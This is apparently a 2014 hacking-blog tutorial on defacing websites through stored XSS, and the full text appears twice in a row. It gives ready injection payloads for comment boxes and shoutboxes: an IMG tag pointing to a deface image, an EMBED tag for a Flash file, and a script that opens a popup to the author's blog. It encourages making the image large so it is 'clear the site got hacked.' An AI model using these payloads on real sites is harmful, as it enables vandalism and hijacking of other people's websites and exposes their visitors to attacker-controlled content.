April 06, 2014
How to Deface a Website using XSS ?
Well now you understand how XSS works, we can explain some simple XSS deface
methods, there are many ways for defacing i will mention some of the best and most used,
the first one being IMG SCR, now for those of you who dont know html, IMG SCR
is a tag, that displays the IMAGE linked to it on the webpage.
<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>
ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything
that shows your data after you submitted it you could insert the following to make the picture display on the page.
<IMG SRC="http://site.com/yourDefaceIMAGE.png">
The other tags are not needed has the page will already have them. Ok it helps to
make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, its the same has the method below but a more stylish deface.
<EMBED SRC="http://site.com/xss.swf"
That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script>window.open( "http://www.ashacks.blogspot.com/" )</script>
There are many others ways that you can found using Google or other website.
Mine purpose is to make you understand the concept :)
Well now you understand how XSS works, we can explain some simple XSS deface
methods, there are many ways for defacing i will mention some of the best and most used,
the first one being IMG SCR, now for those of you who dont know html, IMG SCR
is a tag, that displays the IMAGE linked to it on the webpage.
<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>
ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything
that shows your data after you submitted it you could insert the following to make the picture display on the page.
<IMG SRC="http://site.com/yourDefaceIMAGE.png">
The other tags are not needed has the page will already have them. Ok it helps to
make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, its the same has the method below but a more stylish deface.
<EMBED SRC="http://site.com/xss.swf"
That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script>window.open( "http://www.ashacks.blogspot.com/" )</script>
There are many others ways that you can found using Google or other website.
Mine purpose is to make you understand the concept :)
